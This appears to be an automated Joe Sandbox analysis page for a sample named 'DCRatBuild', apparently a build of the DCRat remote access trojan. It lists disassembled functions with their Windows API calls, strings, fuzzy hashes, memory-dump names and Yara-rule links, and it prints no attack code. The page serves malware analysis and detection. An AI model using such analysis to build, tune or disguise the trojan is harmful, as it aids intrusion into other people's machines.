Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 98ca81905aebf93b9add477c1f0418b2ea6fb5fc7b4609f9234565f1d369525d
Instruction ID: cbc574451a30c1a3b7117596e628da4f77209db65d748ffea7586ae2fc0a8170
Opcode Fuzzy Hash: 98ca81905aebf93b9add477c1f0418b2ea6fb5fc7b4609f9234565f1d369525d
Instruction Fuzzy Hash: 23C14772A083418FC354CF29D880A5AFBE1BFC9708F19892EE998D7311D734E955CB96

Function 004AF9D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F9F0,004AF3A5), ref: 004AF9DA

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: db1ad81870788bc67fe668fa8cfd0c5a9562086d8d7d073d6a14a6f6431aea5c
Instruction ID: 19c0219c32f73064c3083c1eca8e4500b42943a252d66efbf92efeba62ea5d61
Opcode Fuzzy Hash: db1ad81870788bc67fe668fa8cfd0c5a9562086d8d7d073d6a14a6f6431aea5c
Instruction Fuzzy Hash:

Function 004BC030 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 004BC030

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 626f2c2f750b45215ff14f12bce7fa2adeb7e63a803e1fd2134c121e27a06370
Instruction ID: de8a42a602b2a279e0f0a6b767c118f1cc6792d63042c2b42dd987bbe6961e08
Opcode Fuzzy Hash: 626f2c2f750b45215ff14f12bce7fa2adeb7e63a803e1fd2134c121e27a06370
Instruction Fuzzy Hash: 87A011302022028FA3808F30AF08A0C3AA8AA00282308803AA008C0020EA2080A0AA08

Function 004A62CA Relevance: .8, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
Instruction ID: 6f9504d670f627ba25b7f5d7e8e351462aa8bd47b7b111a369f7b9d8a7023bc6
Opcode Fuzzy Hash: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
Instruction Fuzzy Hash: B26209716047849FCB15CF28C5906BABBE1BFA6304F0D896ED8DA8B342D738E945CB15

Function 004A77EF Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
Instruction ID: e0e2a440fa840d4f42260722bd2453c7072bca2dde926dd1b0494b6911e1926d
Opcode Fuzzy Hash: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
Instruction Fuzzy Hash: 0662FA716083458FCB25DF28C9805BABBE1FFA6304F08856EE8968B346D734E945CB19

Function 0049F461 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
Instruction ID: 35e29da017634015501553d32f1125434b8014a195931414b9f3643b5bf71334
Opcode Fuzzy Hash: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
Instruction Fuzzy Hash: 41523972A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86

Function 004A7153 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c542c97ae52408e9baf518c868708a9ae87ad9af97b6feaff701a72bf68abfa1
Instruction ID: 2ef1e238300e2dc300ac59aae02c7a366113a1e2a1b2bccb1f3d8832cf6c9fc7
Opcode Fuzzy Hash: c542c97ae52408e9baf518c868708a9ae87ad9af97b6feaff701a72bf68abfa1
Instruction Fuzzy Hash: BA12D6B16087059FC728CF28C990A79B7E0FFA5308F14492EE996C7781D338E555CB49

Function 0049C426 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c326105ee1b3a824189b67e881d2ff89411e3b301f78164018d10eb1eab805a2
Instruction ID: 5653ea65e3cfa2d94d3b80bde5ac8bb4d8c9b40f11ed087729c03a3bbf5373e2
Opcode Fuzzy Hash: c326105ee1b3a824189b67e881d2ff89411e3b301f78164018d10eb1eab805a2
Instruction Fuzzy Hash: 3AF19971A083018FCB18CF29C5C466ABFE5EBCA318F154A3FF48597352D638E9458B5A

Function 004A6CDC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: cd7b0f1e8b632ec909d4d993615d7e4c7390bcfa3250e759285db26b706eb608
Instruction ID: efb58114514014a4da1f39bc344f576f67ba6fac1074391d06a232a1a46db203
Opcode Fuzzy Hash: cd7b0f1e8b632ec909d4d993615d7e4c7390bcfa3250e759285db26b706eb608
Instruction Fuzzy Hash: B4D1A6716083408FDB24CF29C94475BBBE1BF9A308F09456EF8859B342D778E905CB5A

Function 0049E9B7 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 121ca63fcc093a0b36c69597a409a7a12f6969fcb6ef7f2eb2a314b421e13c9a
Instruction ID: bd6c120c78ec09ec8e8f4f7f8841fb5532979e857c72d525fbf99f68331fd117
Opcode Fuzzy Hash: 121ca63fcc093a0b36c69597a409a7a12f6969fcb6ef7f2eb2a314b421e13c9a
Instruction Fuzzy Hash: B5E15B755093948FC704CF29D89046ABFF0AF9A300F46096FF9C497392C235EA19DB96

Function 004A4088 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
Instruction ID: bcabf6b2263d57eb4d4354880634a68981d486cea85a26264c0ff66c3cea0c9f
Opcode Fuzzy Hash: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
Instruction Fuzzy Hash: 51917AB12003459BDB24EE64D894BFE77C4EBF2308F10092FF99687281DABC9546C35A

Function 004A43BF Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction ID: 883f6f1b1b3bbb02a5ca7b7d037fea14574d59bbfda882d83646c9cd10823df6
Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction Fuzzy Hash: 7B8130717043455BDF24DE69C891B7E37D4ABF7308F00493FE68687282DAEC8986875A

Function 004B51C9 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4105a517bb5c634f90eef917f57e86dc481b81f3606ce27070afe67ee91dca73
Instruction ID: d675eeffe267bf85441ca3643b303339bda014aa93792705ff35fc72fdb7f49c
Opcode Fuzzy Hash: 4105a517bb5c634f90eef917f57e86dc481b81f3606ce27070afe67ee91dca73
Instruction Fuzzy Hash: CF616531600F0856DE3CAA6868917FFE3D4AB51344F14196FE982DB381D29EDD438A3E

Function 004B4F9A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction ID: b32f45d754360a0ef97906f114118f168a05ee7b1c211d2faa4f68377c2be99f
Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction Fuzzy Hash: E3513460604F4457DF346A6C8556BFFE3999B52304F18081BE982CB383C61DEE0693BE

Function 0049EFE2 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2171ffc48c8aa202116489af184aec253f0768eaaf71408ffb6542a092862d3a
Instruction ID: 8173bfe628a6dda8b9bdc2f8de9c904fd3406393a38a8ea9e580bf7831ac67d0
Opcode Fuzzy Hash: 2171ffc48c8aa202116489af184aec253f0768eaaf71408ffb6542a092862d3a
Instruction Fuzzy Hash: 1051E7315083D58FDB01CF35C14046EBFE4AE9A318F4909BEE4D99B243D228DA4ECB96

Function 004A00B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 034f5682bc3412da5adbee8ce2c495cada77a672136b7a1a1d45f665def041cb
Instruction ID: 1ee515899aa3a4636bacc7db49d87ef24742cfbb908bd539b5245319f250fc13
Opcode Fuzzy Hash: 034f5682bc3412da5adbee8ce2c495cada77a672136b7a1a1d45f665def041cb
Instruction Fuzzy Hash: 6651EFB1A087119FC748CF19D48055AF7E1FF88314F058A2EE899E3340D735EA59CB9A

Function 004A3E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: 9f8ce82409ea7b8d31475df91e999200b8f3684fdfcaa8222bde4ac76156ef9e
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: 853115B1A147468FCB14EF29C85126BBBE0FBA6305F10452EF495C7341D739EA0ACB96

Function 0049E2E8 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0049E30E

Part of subcall function 00494092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 004940A5

Part of subcall function 004A1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,004D1030,00000200,0049D928,00000000,?,00000050,004D1030), ref: 004A1DC4

_strlen.LIBCMT ref: 0049E32F
SetDlgItemTextW.USER32(?,004CE274,?), ref: 0049E38F
GetWindowRect.USER32(?,?), ref: 0049E3C9
GetClientRect.USER32(?,?), ref: 0049E3D5
GetWindowLongW.USER32(?,000000F0), ref: 0049E475
GetWindowRect.USER32(?,?), ref: 0049E4A2
SetWindowTextW.USER32(?,?), ref: 0049E4DB
GetSystemMetrics.USER32(00000008), ref: 0049E4E3
GetWindow.USER32(?,00000005), ref: 0049E4EE
GetWindowRect.USER32(00000000,?), ref: 0049E51B
GetWindow.USER32(00000000,00000002), ref: 0049E58D

Strings

d, xrefs: 0049E3F5
$%s:, xrefs: 0049E302
tL, xrefs: 0049E34A
CAPTION, xrefs: 0049E4BD

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d$tL
API String ID: 2407758923-2975994708
Opcode ID: e2f603fb7a61f376f425a9394ce57bfcc06ecd810f7b1274e6a1cc1dcf8c5d79
Instruction ID: f9fa62e68e9a5e052acd76616176d7410742747162669d9c3c18d91f12392e6c
Opcode Fuzzy Hash: e2f603fb7a61f376f425a9394ce57bfcc06ecd810f7b1274e6a1cc1dcf8c5d79
Instruction Fuzzy Hash: B481AF72208301AFD710DFA9CD89E6BBBE9EBC9714F04092EFA8497250D735E905CB56

Function 004BCB22 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004BCB66

Part of subcall function 004BC701: _free.LIBCMT ref: 004BC71E
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC730
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC742
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC754
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC766
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC778
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC78A
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC79C
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC7AE
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC7C0
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC7D2
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC7E4
Part of subcall function 004BC701: _free.LIBCMT ref: 004BC7F6

_free.LIBCMT ref: 004BCB5B

Part of subcall function 004B8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,004BC896,?,00000000,?,00000000,?,004BC8BD,?,00000007,?,?,004BCCBA,?), ref: 004B8DE2
Part of subcall function 004B8DCC: GetLastError.KERNEL32(?,?,004BC896,?,00000000,?,00000000,?,004BC8BD,?,00000007,?,?,004BCCBA,?,?), ref: 004B8DF4

_free.LIBCMT ref: 004BCB7D
_free.LIBCMT ref: 004BCB92
_free.LIBCMT ref: 004BCB9D
_free.LIBCMT ref: 004BCBBF
_free.LIBCMT ref: 004BCBD2
_free.LIBCMT ref: 004BCBE0
_free.LIBCMT ref: 004BCBEB
_free.LIBCMT ref: 004BCC23
_free.LIBCMT ref: 004BCC2A
_free.LIBCMT ref: 004BCC47
_free.LIBCMT ref: 004BCC5F

Strings

hL, xrefs: 004BCC0E

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: hL
API String ID: 161543041-25165468
Opcode ID: e33041f3c70924d879b3baa3536379c41d95839b5e02fcd280c687f92d680464
Instruction ID: 541e7f4dce243329940a65a52f9fae10aa84a7bdf5d85045fce495eb805cf50e
Opcode Fuzzy Hash: e33041f3c70924d879b3baa3536379c41d95839b5e02fcd280c687f92d680464
Instruction Fuzzy Hash: 7D313C316042059FEB21AA3AE8C6BDB77FDAF60314F50542FE148D6291DF39AC40CA38

Function 004B96F1 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004B9705

Part of subcall function 004B8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,004BC896,?,00000000,?,00000000,?,004BC8BD,?,00000007,?,?,004BCCBA,?), ref: 004B8DE2
Part of subcall function 004B8DCC: GetLastError.KERNEL32(?,?,004BC896,?,00000000,?,00000000,?,004BC8BD,?,00000007,?,?,004BCCBA,?,?), ref: 004B8DF4

_free.LIBCMT ref: 004B9711
_free.LIBCMT ref: 004B971C
_free.LIBCMT ref: 004B9727
